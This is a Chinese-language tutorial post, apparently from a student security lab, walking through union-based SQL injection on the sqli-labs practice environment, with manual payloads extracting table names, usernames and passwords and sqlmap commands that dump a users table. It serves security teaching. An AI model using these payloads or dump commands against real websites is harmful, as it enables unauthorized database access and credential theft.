SQL注入怎么玩儿?
Posted 蝰蛇安全实验室
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入怎么玩儿?相关的知识,希望对你有一定的参考价值。
在进行注入之前,我们需要一个可供我们随意使用的SQL注入靶场。靶场的搭建很简单,参考之前的文章:https://mp.weixin.qq.com/s/6yNQwywnfxEqJEZveBjUuA。
-
值得一提的是,sqli-labs的搭建存在着版本的问题,特此说明:如果你使用xampp,记得要换上旧的php版本; -
如果你使用旧版的phpstudy,sqli-labs的源码应为:https://github.com/Audi-1/sqli-labs -
如果你使用新版的phpstudy,sqli-labs的源码应为:https://github.com/Rinkish/Sqli_Edited_Version -
如果你使用的是phpstudy,要注意,一定是phpstudy的版本与源码版本对应,而不是phpstudy内部的php版本与源码对应。
如果版本有问题,你可能会遇上很多问题,比如:php语法报错,数据库连接不上,回显不正常,无法报错......等等等等,不一而足。
以上的这些问题,仅仅是我们踩过的雷,在实际的使用中,你或许还会遇到新的问题,所以,请善用百度、google等工具。
首先,在url后面加上?id=1
,没有报错,得到两个回显信息:
然后在url后面加上?id=1'
或?id='
构造注入语句,发现有回显,页面报错,报错语句为:
You have an error in your SQL syntax; check the manual that corresponds to your mysql server version for the right syntax to use near '''' LIMIT 0,1' at line 1
然后,我们尝试输入语句?id=1' and 1=1 --+ #
与?id=1' and 1=2 --+ #
发现第一句正常回显,而第二句没有反应。这进一步说明WEB程序将我们输入的 and 1=1 与and 1=2带入了SQL查询语句中进行查询。这个语句不仅可以进一步确认注入点,还有另一个功效:and意为逻辑“与”,后面跟着的语句若正确,则正常回显,若错误,则不回显;所以,当输入 1=2、亦或是任何一个错误的语句,这一条语句便不会有回显,从而可以使我们后面注入的语句正常回显。
注意:--与#都是SQL的注释符,由于现在不知道哪个有用,所以就都写上。--后面需要有空格才生效,这里可以在--后面键入空格,也可以键入+,因为+是url编码中的空格
再回到之前报错的信息,报错的信息证明sql语句闭合出现了问题,单引号没有被过滤。此处猜测后台语句为select username,password from users where id = ‘1’
,这个语句的意思是取出id(标记表中的一行)为1的行的username,password的信息。当然,是一个sql的查询语句,这个猜测需要一定的sql语句基础。根据以上猜测,我们进一步推想,此题的注入类型可能是“联合查询注入”。
以下给出联合查询注入相关知识:
概念:联合查询是可合并多个相似的选择查询的结果集。等同于将一个表追加到另一个表,从而实现将两个表的查询组合在一起,使用为此为UNINO或UNION ALL 联合查询:将多个查询的结果合并到一起(纵向合并):字段数不变,多个查询的记录数合并
前提:要用联合查询进行注入:页面必须有显示位
UNION 操作符:用于合并两个或多个 SELECT 语句的结果集。请注意,UNION 内部的每个 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每个 SELECT 语句中的列的顺序必须相同。
SQL UNION 语法:
SELECT column_name(s) FROM table1
UNION
SELECT column_name(s) FROM table2;
SQL UNION ALL 语法:
SELECT column_name(s) FROM table1
UNION ALL
SELECT column_name(s) FROM table2;
用union select做的第一步判断,就是判断这个表有几个列,此处使用order by语句来进行判断。
order by:ORDER BY 关键字用于对结果集按照一个列或者多个列进行排序。如果输入的列不存在,则报错。比如表中总共只有5列,但我们输入order by 6 就会报错,因为第六列不存在。
首先,我们尝试着输入?id=1' order by 3 --+ #
,发现回显没问题,然后,我们更改变要排序的列数(即字段名),输入?id=' order by 4 --+ #
,发现报错,由此可以确定该列表有三列。请注意,在这里,我们没有输入and 1=2
之类的语句,因为我们需要靠回显或报错来判断表的列数,而一旦输入and 1=2
便不会有回显,无法判断列数,故不输入该语句。
从之前的回显中我们可以看到,该页面有两个回显点,所以,接下来,我们要判断回显点是哪两列。我们分别对三列进行查询:?id=1' and 1=2 union select 1,1,1 --+ #
,这里的三个1代表分别对三列进行查询。尝试分别修改这三个1,即可得知回显是属于哪一列。在这里,我们得到的结果是第二第三列回显,而第一列无回显。
确定了回显点,接下来,我们就可以尝试注入查询语句了。我们首先查询数据库名称与数据库版本:?id=1' and 1=2 union select 1,database(),version() --+ #
,当然,你也可以使用user()函数查询用户名。
接下来就好办了,利用sql里面的语句,替换后面两行查询关键词,即可直接进行我们想要的查询。注意,这里的查询需要一些SQL语法基础。
例如,(select group_concat(table_name) from information_schema.tables where table_schema = database())
,该语句可用于查询数据库内的表名。
users这个字段明显很可疑,我们第一时间就是选择查它:(select group_concat(column_name) from information_schema.columns where table_name = 'users')
,果不其然:
这里选两个字段来查,username,password,感觉比较关键:(select group_concat(password') from users)
,(select group_concat(username) from users)
,于是,我们便拿到了我们想要的信息。
我们先审题:Please input the ID as parameter with numeric value,很明显,注入点还是在ID上,所以,老办法,直接在ID上动手。首先尝试输入几行语句,测试结果如下:
?id=1 两个回显点
?id=1' 报错
?id=1 and 1=1 --+ # 两个回显点
?id=1' and 1=1 --+ # 报错
?id=1 and 1=2 --+ # 无回显
?id=1' and 1=2 --+ # 报错
由以上结果可知,这题与上一题有些许不同,不同点就在于单引号。想要其不回显,上一题需要单引号,而这一题不需要。
确定回显与不回显的规则后,然后就是确定列数和回显点了。输入以下语句:
?id=1 order by 3 --+ # 正常回显
?id=1 order by 4 --+ # 报错
?id=1 and 1=2 union select 1,2,3 --+ # 回显2,3
以上,注入点以及回显点基本确定,接下来可以开始注入了。
?id=1 and 1=2 union select 1,user(),version() --+ # 查询用户名和版本号
?id=1 and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = database()),version() --+ # 查询表名
?id=1 and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name = 'users'),version() --+ # 查询字段名
?id=1 and 1=2 union select 1,(select group_concat(password) from users),(select group_concat(username) from users) --+ # 查询字段所包含的信息
以上语句正常回显,注入成功
总结:第二关与第一关逻辑完全相同,不同点仅在于一个单引号。
提示还是没变Please input the ID as parameter with numeric value
,那我们就还是输入测试id值。
?id=1 两个回显点
?id=1' 报错
?id=1 and 1=1 --+ # 两个回显点
?id=1' and 1=1 --+ # 报错
?id=1 and 1=2 --+ # 两个回显点
?id=1' and 1=2 --+ # 报错
这个结果很麻烦,看不出什么东西。再试试其它的:
?id=1 order by 3 --+ # 正常回显
?id=1 order by 4 --+ # 正常回显
仍然一无所获。接下来,就只能一个一个试了。在这里,就不写上繁杂无聊的测试过程了,最后测出来的payload是?id=1')
,也就是说,闭合问题出在')
上。接下来就好办了,参照上面的语句,就可以直接获取想要的信息。
在这里,我们以第一关为例,尝试使用sqlmap工具注入。
这是第一关的sqlmap命令:sqlmap.py -u "http://192.168.100.211/sqlilabs/Less-1/?id=1%27"
执行结果如下:
由此可以确定,该漏洞存在注入点,所以,可以尝试进行注入。
尝试获取数据库:sqlmap.py -u "http://192.168.100.211/sqlilabs/Less-1/?id=1%27" --dbs
原则上来说,我们可以一一查看以上所列出的数据库,但我们也可以尝试着通过数据库的名字来判断这个数据库所保存的信息,进而缩短查找所需的时间。在这里,直接给出答案:
获取数据库“security”所含的表名:sqlmap.py -u "http://192.168.100.211/sqlilabs/Less-1/?id=1" -D ‘security’ --tables
进而获取“security”数据库“users”表中各列的名字:sqlmap.py -u "http://192.168.100.211/sqlilabs/Less-1/?id=1" -D ‘security’ -T users --columns
然后,我们便可以很容易地获取到我们想要的信息了,在这里,我们选择获取password信息:sqlmap.py -u "http://192.168.100.211/sqlilabs/Less-1/?id=1"-D ‘security’ -T users -C password --dump
以上就是工具注入全过程,其它关卡与此几乎没有差别。
最后,总结几条用得多的sqlmap语句:
检查注入点:
sqlmap.py -u url 'url'为指定的链接
爆所有数据库信息:
sqlmap.py -u url --dbs
爆当前数据库信息:
sqlmap.py -u url --current -db
指定库名列出所有表:
sqlmap.py -u url -D database --tables 'database' 为指定数据库名称
指定库名表名列出所有字段:
sqlmap.py -u url -D database -T admin --columns 'admin' 为指定表名称
指定库名表名字段爆出指定字段,'ac,id,password' 为指定字段名称sqlmap.py -u url -D database -T admin -C ac,id,password --dump
相对于工具注入来,手工注入很难,也很繁琐,如果追求破解速度,是不建议的;但对于学习的人来说,手工注入意味着对SQL语句更全面的学习与理解,这能让你学会更多绕过的手法和原理层面的知识。
不要只停留在用工具上,尽管很快很方便,毕竟,脚本小子不可取,要知其所以更要知其所以然。工具的使用并不复杂,也无需花费太多时间学习,重点还是应该放在手工注入的学习上。相信有耐心和决心学好SQL手工注入的你,以后在学习其他的Web漏洞的时候,必会感觉小菜一碟。
·END·
▼
谨记责任,高歌向前
▼
文案 | Crispitol
排版 | light11
审核 | Crispitol
指导老师 | Hard Target
以上是关于SQL注入怎么玩儿?的主要内容,如果未能解决你的问题,请参考以下文章
安全测试 web安全测试 常规安全漏洞 可能存在SQL和JS注入漏洞场景分析。为什么自己没有找到漏洞,哪么可能存在漏洞场景是?SQL注入漏洞修复 JS注入漏洞修复 漏洞存在场景分析和修复示例(代码片段